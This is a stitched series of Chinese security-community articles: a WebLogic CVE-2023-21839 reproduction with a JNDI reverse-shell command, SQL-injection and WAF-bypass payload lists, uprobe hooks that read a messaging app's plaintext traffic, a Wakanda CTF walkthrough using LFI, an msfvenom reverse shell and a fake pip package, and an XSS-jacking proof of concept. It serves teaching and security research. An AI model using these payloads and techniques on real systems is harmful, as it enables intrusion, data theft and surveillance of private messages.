这边的网段需要和 ubuntu 上的 br0 网卡位于同一网段上。
* 这里按照笔者的理解， br0 网卡就相当于本机到虚拟机的一个网卡映射
## 参考资料
<https://xz.aliyun.com/t/462>
<https://bbs.pediy.com/thread-212369.htm>
<https://blog.csdn.net/ldl22847/article/details/8612993> | 社区文章 |
**漏洞描述:**
WebLogic是美国Oracle公司出品的一个application
server，用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。WebLogic
Server是一个基于JAVAEE架构的中间件，将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中，提供了Java Enterprise Edition (EE)和Jakarta
EE的可靠、成熟和可扩展的实现。
WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic
IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic
Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
**影响范围:**
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
**漏洞复现:**
漏洞机器环境搭建：
CVE-2023-21839 项目镜像，链接如下:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
上传至 VPS，使用以下命令在 VPS 搭建 docker 环境；
docker-compose up -d
然后访问VPS地址,7001端口:
访问管理地址:
http://xx.xx.xx.xx:7001/console
将 JNDI Exploit-1.2命令注入工具上传到我们的 VPS 攻击机，开启 jndi 监听
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xx.xx.xx.xx
使用nc监听端口
POC如下:
https://github.com/4ra1n/CVE-2023-21839
编译:
cd cmd
go build -o CVE-2023-21839.exe
反弹shell
CVE-2023-21839.exe -ip xx.xx.xx.xx -port 7001 -ldap ldap://xx.xx.xx.xx:1389/Basic/ReverseShell/xx.xx.xx.xx/6789
成功获得反弹shell
**漏洞修复:**
厂商已发布了漏洞修复补丁
下载链接：
[https://support.oracle.com/rs?type=doc&id=2917213.2](https://support.oracle.com/rs?type=doc&id=2917213.2) | 社区文章 |
**前言**
同事遇到一个站有注入,然后有waf，waf检测了一些关键字不是很好弄,于是丢给了我,所以有了这次的故事,话不多说,我们直接进入正题。
**First Step**
如果遇到注入首先第一步是干啥呢,我一般先判断后台数据库类型,所以我们先来说一下判断数据库类型的几种常用方法,要判断是什么类型的数据库当然要利用不同数据库各自独特的特点,此处就讨论比较常见的oracle,mssql,mysql不针对access数据库,这个access比较刚,我玩不过他.
(下面的这些方法也许不是所有情况都有用,需要结合具体场景,结合不同的返回包情况自主判断)
利用mssql特有的延时方法 waitfor delay payload如下:
id=1';waitfor delay '0:0:5' --
如果上面这个payload发了之后 成功演延时了5s 那么可以确定后端数据库是mssql
利用Mssql特有的 top 关键词来判断 TOP 子句用于规定要返回的记录的数目 所以可以利用如下payload判断是否mssql
id=1' and (select top 1 'aaa')='aaa
mssql 可以通过特殊的爆错 Microsoft ODBC Database Engine 错误 识别
mssql 通过特有的系统表 sysobjects 识别
id=1' and (select count(*) from sysobjects)>0 and '1'='1
current_user函数 current_user 返回当前数据库的所有者,授权者 这个函数mssql 和 oracle mysql都有
在mssql中 可以用来判断是否是dba 权限 如果是dba select current_user 的返回值就是 dba
在oracle中 经过我实测 发现
select current_user from dual 的效果等于 select user from dual
都是查看当前数据库的用户
mysql中效果与 select user() 效果一致
利用字符串连接方式判断:
在mysql中 字符串连接可以用 select 'a' 'bc' ; 结果就是 abc
oracle中 字符串连接是利用|| select 'a' || 'bc' 结果是 abc
在mssql中 字符串连接利用+ select 'a'+'bc' 结果是 abc 这三种 这三种字符串连接方法都是各自独特的 可以很好的区分不同数据库
mysql中#是作为注释符的 而且是Mysql独有 利用#可以判断后台是否mysql 例如:
id=1' and 1=1 #
mysql中需要--空格才是单行注释如果只有--是语法不对的 而在mssql 和 mssql 中 --都是单行注释
mysql特有的函数 CURRENT_DATE
select CURRENT_DATE ;
id=1' and (select CURRENT_DATE)='aaa
mysql 特有的 now函数
id=1' and (select now())='aaa
mysql中通过特有的表
id=1' and (select count(*) from information_schema.TABLES)>0 and '1'='1
mysql中通过特殊时间延迟函数benchmark 下面这句是将md5('admin') 执行100000次
id=1' and (select BENCHMARK(100000,MD5('ADMIN'))) and '1'='1
效果类似下图
oracle 通过特有函数 NLV2
介绍:
NVL2(expr1,expr2,expr3)，含义是：如果Oracle中第一个参数的值为空，那么显示第二个参数的值，如果第一个参数的值不为空，那么显示第三个参数的值。
类似于mysql中的 if
判断payload:
id=1' and (select NVl2('a','aaa','b')='aaa
oracle 通过爆错信息识别
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
oracle 通过特有的表 sys.user_tables
payload 如下:
id=1 ' and (select count(*) from sys.user_tables)>'0
orcale中 select '123' 这种是不正确的语法 这种语法在mysql和mssql中可以 但是在oracle中 需要 加上from drual
在oracle 中select 必须要指明表名。若并非对真实的表进行查询，则需要用 dual 作为表名。这也是一个可以用来判断是否oralce的特点
比如下面的payload:
id=1' and (select 'aaa' from drual)='aaa
如果报语法出错那么显然不是oracle 否则是oracle
还有 len函数 这个函数是mssql 和 oracle 有. mysql 没有这个函数 所以利用这个函数也可以判断后端数据库是否是mysql
**Second step**
好了第一步判断数据库的说了很多了 现在来说这次遇到的waf情况 首先它是个注入
并且会把爆错位置显示出来
可以看出来是有waf的 首先我们先来判断一下 后端数据库是什么类型
似乎遇到了一点困难 好我们先得用上and, 绕过它就完事
一根烟的功夫 and已经可以用了 好咱们来判读判断后端数据库类型 此处利用 oracle 特有的函数 nvl2 轻松判读出后端数据库是oracle
尝试爆错注入 但是不知道为什么没有成功爆错
注入有waf的情况很容易就走到现在这种情景下 绕过了一个限制 还有另外的限制
这样的注入其实利用起来根本没用,要想拖数据就得找到一个关键点,让waf懵逼,让它全部检测不到 但是这种关键点是很难找的,不仅要技术 奇思妙想
还要天时地利人和 运气好
我们这个地方硬刚是比较难刚了,注意到是json数据,那么waf怎么解析数据并且过滤呢,很可能是通过 request头部的信息来判断
当然比较厉害的waf也应该能够自动检测 数据包内容的格式
有了这个思路 所以把 requests头部的 application/json 改为 其他的任意东西 比如 application/text
然后我们在来看一下 用相同的payload 之前会被检测到的 现在已经不检测了
waf懵逼了 直接解析不鸟数据 当然也就检测不鸟了 刚才硬刚苦思冥想也绕不过的waf 现在只修改了4个字符就大路通畅了 这就是绕waf 真是神奇 .
接下来就是sqlmap 一把嗦了. | 社区文章 |
# 实战安全狗bypass
之前有段时间一直在弄注入绕过,正好一个朋友手上有个安全狗的站
## 绕过 and 1=1
这种很显然直接被拦截,这里进行fuzz
and 1 like 1 拦截
and /*!1=1*/ 不拦截
and hex(1) 不拦截
%23%0a 1=1 拦截
## 绕过order by
发现单个order不拦截 单个by不拦截 只要order by 结合就被拦截
安全狗他拦截哪里我们就绕哪里
order%23%0aby 1 不拦截
order /*!by */ 1 拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉
order --+all%0a by 1 不拦截 且语句有效
## 绕过union select
还是单个union不拦截 单个select不拦截 只要union select 结合就被拦截,还是跟order by绕过一样添加数据绕过安全狗的匹配
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
这里还有个绕过方法安全狗不会对/ _/里面内容进行校验,可以从这里入手
/_&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23 _/ 不拦截
这里就是通过一个注释符%23把后面 \_/ 形成一个完整的sql语句,也可以通过其他注释符进行注释.
ID=-17 "/ _" union select 1,2,3,4,5,6,7,8,9,10,11,12,13 "_ /" 不拦截
,但是这个前提条件对方不开gpc或者使用addslashes()函数要不然单双引号被转义
## 绕过系统函数
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/
等等,基本上这个/**/就可以绕过了系统函数
## 绕过查询数据库表
如果这里我们使用联合查询第二种在里面进行查询的话,就不需要绕过直接构造正常语句就可以进行查询
?/*&ID=-17 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()%23*/
如果这里我们不使用上面那种方法,来进行绕过.
这里 使用%23njjknjk%0a来绕过union select , from
information_schema.tables,这里面%23这里可以随意添加数据%0a,如果转义了单双号进行hex编码绕过
?ID=-17 union %23njjknjk%0a select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from%23njjknjk%0ainformation_schema.tables%23njjknjk%0awhere%20table_schema=0x73685f6a7a%20--+ | 社区文章 |
**作者：Hcamael@知道创宇404实验室
日期：2022年11月30日
相关阅读：
[在 Android 中开发 eBPF 程序学习总结（一）](https://paper.seebug.org/2003/ "在 Android 中开发
eBPF 程序学习总结（一）")
[在 Android 中开发 eBPF 程序学习总结（二）](https://paper.seebug.org/2009/ "在 Android 中开发
eBPF 程序学习总结（二）")**
在研究uprobe的过程中，发现了Linux内核一个好用的功能。
本来是打算研究一下，怎么写uprobe的代码，写好后怎么部署，然后又是怎么和相应的程序对应上的。但是资料太少了，基本上都是写使用bpftrace或者bcc的例子，但是都不是我想要的，后面考虑研究一下bpftrace或者bcc的源码。
不过在这个过程中，却发现了一个Linux系统内置的uprobe插桩的功能。
一般在`/sys/kernel/debug/tracing/`目录下，有一个`uprobe_events`文件，在Android设备下，没有`debug`目录，所以路径一般为:
`/sys/kernel/tracing/uprobe_events`
那么我们怎么通过这个文件进行uprobe插桩呢？
首先，我们写一个测试代码：
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("Hello World!\n");
return 0;
}
一个很简单的，使用C语言开发的Hello World程序，编译一下：`$ gcc test.c -o /tmp/test`
接着，我们再写一个脚本：
#!/bin/bash
ADDR=`python3 -c 'from pwn import ELF,context;context.log_level="error";e=ELF("/tmp/test");print(hex(e.symbols["main"]))'`
echo "p /tmp/test:$ADDR %x0 %x1" > /sys/kernel/debug/tracing/uprobe_events
echo 1 | tee /sys/kernel/debug/tracing/events/uprobes/p_*/enable
echo 1 | tee /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace_pipe
把这个脚本运行起来，接着，我们再开一个终端，运行一下`/tmp/test`，随后我们就能看到前一个终端里有输出了：
root@ubuntu:~# /tmp/test.sh
1
1
test-3326935 [001] ..... 1187528.405340: p_test_0x76c: (0xaaaaddbc076c) arg1=0x1 arg2=0xffffe00fb1d8
接下来，我来对这个解释一下，这个过程中我做的事情：
1. 首先使用pwntools计算出/tmp/test的main函数的地址
2. 因为我的测试环境是arm64的Linux，所以参数寄存器是`x0, x1......`，如果是amd64架构的，参数寄存器就是`di, si, dx......`
3. `p /tmp/test:$ADDR %x0 %x1`的含意就是在/tmp/test程序的ADDR地址处进行插桩，插入的代码目的是输出第一个参数和第二个参数的值，所以我们可以从结果中看到`arg1=0x1 arg2=0xffffe00fb1d8`，也就是说`argc=0x1, argv = 0xffffe00fb1d8`
4. 当我们把上面的语句写入到`uprobe_events`中后，将会在`events/uprobes`目录下生成相应的事件目录，默认情况下是以`p_(filename)_(addr)`的形式命名，所以，在当前测试环境中，这个目录的路径为: `/sys/kernel/debug/tracing/events/uprobes/p_test_0x76c/`
5. 把1写入到上面这个目录的enable文件中，表示激活该事件，接着就是把1写入到`tracing_on`，激活内核的日志跟踪功能。
6. 最后，我们就能从`/sys/kernel/debug/tracing/trace_pipe`目录中看到相关的输出了。
再来看看输出的数据格式：
test-3326935, 监控到的程序名-该程序的pid
[001], CPUID
1187528.405340, 时间戳相关？
p_test_0x76c, 事件名
0xaaaaddbc076c, ELF地址
arg1 arg2, 就是我们自己定义的输出内容
当我发现Linux内核功能，我是很惊讶的，竟然能这么容易的监控到任意程序的指定地址的信息，就是不知道对于一个程序来说，是否能发现自己被uprobe插桩了。
接着，我就继续深入的研究了该功能，看看使用场景如何。
### 自定义事件名
事件名我们是可以自定义的，比如，我只要把事件语句改为：`"p:test_main /tmp/test:$ADDR %x0 %x1"`。
那么事件名就为`test_main`了，生成的相应目录就是`/sys/kernel/debug/tracing/events/uprobes/test_main/`。
### 输出字符串
通过研究发现，可以使用`-/+`加上`offset`，加上`(addr)`来输出指定地址的内存，然后加上`:type`来指定该数据的类型，并且该操作是可以嵌套的，所以是可以输出任意类型的结构体的。
比如我把事件语句改为: `p:test_main /tmp/test:$ADDR %x0 %x1 +0(%x1):x64
+0(+0(%x1)):string`
我们可以看看现在的输出：
root@ubuntu:~# /tmp/test.sh
1
1
test-3331614 [001] ..... 1189161.610316: test_main: (0xaaaad45607ac) arg1=0x2 arg2=0xffffff3cfef8 arg3=0xffffff3d06ea arg4="/tmp/test"
`0xffffff3cfef8`地址的内存为`0xffffff3d06ea`，而`0xffffff3d06ea`地址的内容为字符串：`/tmp/test`，也就是`argv[1]`的内容了。
### 返回值插桩
事件语句的开始是p，表示对当前地址进行插桩，但是如果换成r，那么就是对返回地址进行插桩，比如：`r:test_main /tmp/test:0x7d4
%x0`
`0x7d4`为main函数的ret指令的地址，然后得到的输出为：
$ /tmp/test.sh "r:test_main /tmp/test:0x7d4 %x0"1
1
test-3333703 [000] ..... 1189862.625909: test_main: (0xffffa1239e10 <- 0xaaaac4fa07d4) arg1=0x0
数据中多了一个：从当前地址`0xaaaac4fa07d4`要返回到地址`0xffffa1239e10`。
### libc库插桩
libc库的插桩跟普通程序没啥区别，比如，一般https请求都是通过`SSL_write`和`SSL_read`来进行对明文的读写，从socket抓包，抓到的肯定是看不懂的密文。但是从`SSL_write`和`SSL_read`的第二个参数来抓取，得到的就是明文了。
我们来测试一下，一般curl使用的库都是：`/lib/aarch64-linux-gnu/libssl.so.1.1`。
所以我们首先需要使用pwntools从这个libc库中获取到`SSL_write`和`SSL_read`的地址，但是SSL_read又不同，因为函数入口点buf数据是无用的，需要该函数调用结束后，里面才有有效数据，但是在ret返回的时候，没有寄存器储存buf的地址，目前也没找到办法在函数入口的地方定义一个变量，然后返回的时候再取。
接着，我把libssl.so丢入了ida，找到了`SSL_read`函数：
__int64 __fastcall SSL_read(__int64 a1, __int64 a2, int a3)
{
__int64 result; // x0
unsigned int v4; // [xsp+20h] [xbp+20h] BYREF
if ( (a3 & 0x80000000) != 0 )
{
ERR_put_error(20LL, 223LL, 271LL, "../ssl/ssl_lib.c", 1777LL);
return 0xFFFFFFFFLL;
}
else
{
LODWORD(result) = sub_34830(a1, a2, a3, &v4, 0LL);
if ( (int)result <= 0 )
return (unsigned int)result;
else
return v4;
}
}
通过`SSL_read`函数，我找到了`sub_34830`函数：
__int64 __fastcall sub_34830(__int64 a1, __int64 a2, __int64 a3, _QWORD *a4)
{
unsigned int v6; // w21
int v7; // w1
__int64 v12; // x3
__int64 v13; // x3
__int64 v14[3]; // [xsp+40h] [xbp+40h] BYREF
int v15; // [xsp+58h] [xbp+58h]
__int64 v16; // [xsp+60h] [xbp+60h]
if ( *(_QWORD *)(a1 + 48) )
{
v6 = *(_DWORD *)(a1 + 68) & 2;
if ( v6 )
{
v6 = 0;
*(_DWORD *)(a1 + 40) = 1;
}
else
{
v7 = *(_DWORD *)(a1 + 132);
if ( v7 == 1 || v7 == 8 )
{
ERR_put_error(20LL, 523LL, 66LL, "../ssl/ssl_lib.c", 1744LL);
}
else
{
sub_49588(a1, 0LL);
if ( (*(_DWORD *)(a1 + 1496) & 0x100) != 0 && !ASYNC_get_current_job() )
{
v12 = *(_QWORD *)(a1 + 8);
v14[0] = a1;
v14[1] = a2;
v13 = *(_QWORD *)(v12 + 56);
v14[2] = a3;
v15 = 0;
v16 = v13;
v6 = sub_32AD8(a1, v14, sub_329A0);
*a4 = *(_QWORD *)(a1 + 6168);
}
else
{
return (*(unsigned int (__fastcall **)(__int64, __int64, __int64, _QWORD *))(*(_QWORD *)(a1 + 8) + 56LL))(
a1,
a2,
a3,
a4);
} // 猜测这里是ctx->method->ssl_read
}
}
}
else
{
v6 = -1;
ERR_put_error(20LL, 523LL, 276LL, "../ssl/ssl_lib.c", 1733LL);
}
return v6;
}
查看调用`ctx->method->ssl_read`的汇编代码:
.text:00000000000348A4 loc_348A4 ; CODE XREF: sub_34830+68↑j
.text:00000000000348A4 LDR X4, [X19,#8]
.text:00000000000348A8 MOV X3, X24
.text:00000000000348AC MOV X2, X23
.text:00000000000348B0 MOV X1, X22
.text:00000000000348B4 MOV X0, X19
.text:00000000000348B8 LDR X4, [X4,#0x38]
.text:00000000000348BC BLR X4
.text:00000000000348C0 MOV W21, W0
.text:00000000000348C4 LDP X23, X24, [SP,#0x70+var_40]
.text:00000000000348C8 B loc_348E8
我们能发现，buf被储存在了X22寄存器里，然后当调用完`ctx->method->ssl_read`，这个时候X22寄存器里就是有效的明文数据了，所以我们可以把uprobe插在`0x348C4`，然后我们以字符串输出寄存器X22，这就是明文数据了。
最后我们可以得到以下事件语句：
ADDR=`python3 -c 'from pwn import ELF,context;context.log_level="error";e=ELF("/lib/aarch64-linux-gnu/libssl.so.1.1");print(hex(e.symbols["SSL_write"]))'`
p:SSL_write /lib/aarch64-linux-gnu/libssl.so.1.1:$ADDR +0(%x1):string
p:SSL_read /lib/aarch64-linux-gnu/libssl.so.1.1:0x348C4 +0(%x22):string
然后启动我们的脚本，再另一个终端里使用curl访问百度，我们可以得到以下输出：
root@ubuntu:~# /tmp/test.sh
1
1
curl-3339154 [001] ..... 1191831.068149: SSL_write: (0xffffa4b5fc70) arg1="GET / HTTP/1.1
Host: www.baidu.com
User-Agent: curl/7.68.0
Accept: */*
"
curl-3339154 [001] ..... 1191831.088676: SSL_read: (0xffffa4b5f8c4) arg1="HTTP/1.1 200 OK
Accept-Ranges: bytes
......
## 实际应用场景
### 普通程序
Android设备上的ssl库是`/system/lib64/libssl.so`，如果使用该库，那么uprobe插桩的思路跟上面的例子讲的一样。
### 某信APP
研究中发现，插桩了`libssl.so`，但是却没有办法得到Chrome或者某信的流量。经过一番研究，我发现了这篇文章：自动定位webview中的SLL_read和SSL_write
原来某信用的是webview，其libc位于：`/data/data/com.xxxx/app_xwalk_4317/extracted_xwalkcore/libxwebcore.so`
随后就把这个libc掏出来，丢入IDA，根据上面这篇文章中所说的，去定位`SSL_write`和`SSL_read`。
然后就能成功获取到流量了：
$ ./uprobe_test.sh
......
NetworkService-19594 [006] .... 338986.936127: SSL_write: (0x75c2f17548) buf="GET /webview/xxxxx
......
NetworkService-19594 [006] .... 338987.021581: SSL_read: (0x75c2f17320) buf="HTTP/1.1 200 OK
Date: Wed, 02 Nov 2022 10:29:42 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
......
### 解密某信通信流量
上面的例子中，能抓到的都是在某信中访问HTTPS网页的流量，那发消息的流量呢？经过我一番搜索，发现其通信流量是使用`Java_xxx_MMProtocalJni_pack`函数来加密的，但是相关资料很少，估计都被公关掉了。
我就自能自行逆向了，但是没有调试环境，这代码也很难逆，就在我陷入僵局的时候，我发现了一个`compressBound`函数，再其之后还有一个`compress2`函数：
......
if ( *a4 == 1 )
{
v11 = compressBound(size);
v12 = v11;
v15 = v11;
sub_3CA68((__int64)v16);
sub_3CAA4(v16, v12);
v13 = sub_3CDF8(v16);
v14 = compress(v13, &v15, a1, size);
sub_3CCD8(v16, (unsigned int)v15);
......
然后我就在该函数下插入uprobe，打印a1变量，果然，这个就是我们发送的消息的明文：
比如我向好像发送`Test123`消息，可以看到：
binder:13658_8-15519 [005] .... 328460.408711: SSL_mm: (0x75ad943444) arg1=#
(好友ID)Test123 ?(???" arg2=0x27
发送表情：
binder:13658_8-15519 [000] .... 328488.173019: SSL_mm: (0x75ad943444) arg1=\$
(好友ID)[发呆] ????(???"" arg2=0x28
发送图片：
mars::2961-2961 [005] .... 328527.422874: SSL_mm: (0x75ad943444) arg1="
%aupimg_xxxxx(好友ID) Z(x2" arg2=0x98
# 其他
Linux内核自带的uprobe事件，可以让我们不需要写任何代码，就监控系统用户态的函数调用，打印数据，功能虽然单一，但十分强大。后续我考虑研究是否能对其进行扩展，还有，我们自己写的uprobe是如何加载的。
# 参考
1. <https://mabin004.github.io/2020/07/24/%E8%87%AA%E5%8A%A8%E5%AE%9A%E4%BD%8Dwebview%E4%B8%AD%E7%9A%84SLL-read%E5%92%8CSSL-write/>
* * * | 社区文章 |
本文翻译自：<http://www.hackingarticles.in/hack-the-wakanda-1-ctf-challenge/>
大家好，本文向大家介绍一个CTF挑战靶机Wakanda，下载地址在[这里](https://www.vulnhub.com/entry/wakanda-1,251/#download
"这里")。该靶机难度适中，共有三个flag(flag1.txt,flag2.txt和root.txt)。
**渗透测试方法如下**
1. 网络扫描(Nmap,netdiscover)
2. HTTP服务遍历
3. Php filter协议利用LFI漏洞
4. 密码base64解码
5. SSH登陆
6. 获取第一个flag
7. 查找属于devops用户的文件
8. Antivirus.py文件写入恶意python代码
9. 获取nc会话
10. 获取第二个flag
11. Sudo提权
12. 利用Fake Pip
13. 获取root权限并获取第三个flag
**通关攻略**
第一步是使用netdiscover工具进行网络扫描，找到我们要进行攻击的靶机IP地址。
netdiscover
找到靶机地址是192.168.1.124
下一步就是用nmap扫描靶机，使用如下命令：
nmap -p- -A 192.168.1.124
Nmap输出结果显示开放了4个端口：80(HTTP),111(RPC),333(SSH),48920(RPC)。
在浏览器中访问192.168.1.124这个IP地址，没有发现什么有用的信息。
既然如此，我们用dirb工具来进行目录遍历，命令如下：
dirb http://192.168.1.124
如图所示，我们扫出来了很多目录，有/admin和/backup等，不过大小却都是0，看来也是没有什么东西了。再来看看index页面的源码吧，说不定会有发现。果不其然，我们在页面注释中发现了“lang”这个参数。
我们在url中使用“lang”这个参数，传递的值是'fr'，现页面内容被转换为了法语，如图：
现在我们来试试这个lang参数是否存在LFI漏洞，借助curl工具，使用php filter伪协议来读取index文件源码，命令如下：
curl http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index
读取到的内容显而易见是经过base64编码的，我们对它解码一下得到原始文件内容，如图：
非常幸运，在这里我们看到了密码“Niamey4Ever227!!!”。仔细看的话，我们还发现作者是mamadou，这可能就是ssh登陆凭证，我们去登陆试试。
果然登陆成功了，而且得到了一个python命令提示符界面。这好办，我们import pty这个模块，然后使用spawn
‘/bin/bash’命令来进入系统的bash shell。我们来看下mamadou用户的家目录，发现flag1.txt就躺在那儿，读取便是，如图：
通过对目录进行遍历，在/tmp目录下有一个test文件，打开test文件，乍一看，没有什么东西。不过仔细点看，可以看到这个文件的属主是devops用户，这就为我们提供了一个新思路，我们来找找属主是devops用户的所有文件看看是否有突破，使用find命令，如下：
find / -user devops 2>/dev/null
我们在/srv目录下发现了一个特殊的文件‘.antivirus.py’，如图：
现在我们打开这个py文件，发现内容是打开/tmp目录下的test文件，然后往里写入“test”字符串。为了利用这个脚本，我们可以将这段内容替换为我们的shellcode。首先，我们需要生成一个msfvenom
payload，命令如下；
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
生成payload后，我们打开刚才那个py文件，把里面的代码注释掉，然后插入我们的payload，复制的时候不要“python -c”，如图：
然后我们用nc设置好监听器，我们稍等片刻，等待脚本被执行。一旦脚本被执行，我们就获得了一个反向shell。我们查看一下UID，发现进入的是devops用户的shell。现在我们进入到devops用户的家目录，可以很轻易的读取到flag2.txt。
得到第二个flag后，我们来看看该用户能用sudo执行的命令，使用sudo -l来查看，发现我们即使不是root用户，也可以以超级用户(super
user)的身份执行pip命令，如图：
这里就需要你的知识储备充足了，关于pip命令，有一个漏洞可以利用，GitHub上有一个利用脚本Fakepip，下载地址在[这里](https://github.com/0x00-0x00/FakePip.git
"这里")。
我们把这个fakepip脚本下载下来
git clone https://github.com/0x00-0x00/FakePip.git
然后在本地对这个脚本进行编辑，这里需要修改的是os.system函数，这个函数里的内容是base64编码字符串，我们解码一下，可以得到一个IP地址，把IP地址替换成我们自己的IP地址，然后再用base64编码回去，并替换掉脚本中os.system函数中的字符串。
接着我们在本地用python开启HTTP服务，这样我们就能把fakepip这个脚本上传到靶机中。
python -m SimpleHTTPServer 80
启动HTTP服务之后，我们在靶机上使用wget命令来下载这个脚本，下载之后就根据readme文件的提示来执行命令
wget http://192.168.1.134/setup.py
sudo pip install . --upgrade --force-install
只要我们一执行命令，我们就获得了root用户的反向shell，现在我们可以切换到/root目录，并读取到root.txt中的flag了，如图所示：
好的，本次靶机到此结束，各位白帽子们可以下载靶机，一展身手。 | 社区文章 |
# 点击劫持
这一篇总结得很清楚也很通俗易懂(手动滑稽)
<https://blog.csdn.net/qq_32523587/article/details/79613768>
# Self-XSS
一些网站为了用户体验着想会有这么一个功能，就是用户在提交信息失败并且需要返回去填的时候会帮你自动把之前填写的信息补全回来，这样就避免了用户的重新输入，节省了用户的时间。这是一个很好很人性化的功能，但是这种补全可能不那么被重视，所以很多网站也不会对输出进行过滤，这样就可能存在`XSS`漏洞，而我遇到的场景也是这样的：用户登录失败的时候网站会自动把上次尝试登陆的用户名补全，但是并没有对用户名信息进行过滤，所以就存在
`XSS`，但是用户怎么会输入`XSS` `payload`打自己，所以就特别的鸡肋几乎无用
# 复制粘贴劫持
无论用户复制了什么，粘贴的时候始终是黑客自定义的内容
# 组合攻击——XSS劫持
修改参考这个靶场：<https://security.love/XSSJacking/>
index1.html，存在`Self-XSS`的页面，需要引入`angular.min.js`和`main.js`，主要是有一个文本输入框，其中`ng-change`指令的作用是当输入框的值改变时执行函数，`ng-model`指令可以将输入域的值与 `AngularJS` 创建的变量绑定，代码如下
<html>
<head>
<script src="angular.min.js"></script>
<script src="main.js"></script>
</head>
<body ng-app="xssApp" ng-controller="mainController">
<h1> </h1>
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">
</textarea>
</body>
</html>
main.js代码如下，模拟的输入`<script>alert(document.cookie)</script>`即可`X`自己，这里需要`AngularJS`的支持
var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
$scope.checkForAlert = function(text){
if(text == "<script>alert(document.cookie)</script>"){
alert(document.cookie);
}
}
}]);
angular.min.js如下
<https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js>
## 目标站点存在Self-XSS
页面如下，是一个很大的文本框，输入`<script>alert(document.cookie)</script>`就弹出了`cookie`，这里模拟的是`Self-XSS`
## 目标站点存在Click Jacking
我们查看响应，发现目标站点并未设置`X-Frame-Options`头，即存在`Click Jacking`漏洞：
## 编写POC进行XSS Jacking获取用户Cookie
<html>
<head>
</head>
<body>
Enter your email below to register:
</br>
<textarea autofocus style="width:220px; height:35px;"></textarea>
</br>
Repeat your email:
</br>
<iframe style="width:230px; height:50px;" frameBorder="0" src="index.html"></iframe>
</br>
<input type="submit"></input>
<script>
document.addEventListener('copy', function(e){
console.log(e);
//
e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(document.cookie)\x3c/script\x3e');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
</body>
</html>
网页界面如下
在这个网页只要使用了复制键那么复制的内容都是`<script>alert(document.cookie)</script>`，再次输入邮箱的文本框其实是利用`iframe`标签打开的`index.html`网页，存在`XSS`漏洞，所以当用户输入邮箱后为了方便就会复制上面填写好的邮箱，然后粘贴到下面确认邮箱的框框，那么就是将`XSS`代码插入到了`index.html`自己`X`了自己
所以这个组合利用需要结合一下钓鱼社工实现窃取受害者的`cookie`等敏感信息
# 参考连接
<https://www.freebuf.com/articles/web/130462.html>
<https://www.freebuf.com/articles/web/164069.html>
<https://www.mi1k7ea.com/2020/01/26/%E6%B5%85%E6%9E%90XSSJacking/> | 社区文章 |
Chrome插件群里一位大佬说过。。。chrome插件跟exe没区别。
好的，既然介绍了插件的强大，那么如何编写插件呢？
<https://chajian.baidu.com/developer/extensions/getstarted.html>
大家就别去看chrome原版了，来看这个百度浏览器的翻译版。
插件主要是通过两个js来进行操作。
一个是 "background": {
"scripts": [
"tools.js"
]
},
一个是 "content_scripts": [
{
"matches": [" _://_ /*"],
"js": ["script.js"]
}
],
content_scripts里的js可以直接植入加载的dom中，如：document.getElementsByTagName
background里的js可以后台操作chrome的接口，如：
chrome.webRequest.onBeforeRequest.addListener(
function(details) { return {cancel: true}; },
{urls: ["*://drmcmm.baidu.com/*","*://cpro.baidu.com/*","*://hm.baidu.com/*","*://pos.baidu.com/*"]},
["blocking"]) //这段的意思是onBeforeRequest的时候，干掉百毒推广！！！
注：接口参考文档<https://chajian.baidu.com/developer/extensions/webRequest.html>
就酱紫。。欢迎大家写出更多更好的chrome插件。本文就水到此处了。 | 社区文章 |
译者： **[Janus情报局](https://www.appscan.io/discover-detail.html?id=1968393&from=singlemessage&isappinstalled=0)**
原文地址：[《Ztorg: from rooting to SMS》](https://securelist.com/ztorg-from-rooting-to-sms/78775/)
自从2016年9月以来，我一直在监控 Google Play 商店的新 Ztorg 木马，到目前为止，还发现了几十个新的恶意应用程序。所有这些都是恶意
root 软件，这些软件利用漏洞在受感染的设备上获得 root 权限。
然而，在2017年5月下旬，我发现有一个并非如此。有两个恶意应用程序与 Ztorg 木马相关，通过 Google Play 分发。虽然不是恶意 root
软件，但是可以发送高付费短信和删除短信。这些应用程序已经从 Google Play 分别安装了5万和1万次。
卡巴斯基实验室产品将两个木马应用程序检测为 Trojan-SMS.AndroidOS.Ztorg.a 。我们向 Google
报告了恶意软件，这两个应用都已从 Google Play 商店中删除。
第一款恶意软件，应用名为 “Magic browser” 的软件，于2017年5月15号上传到 Google 商店，安装次数超过5万次。
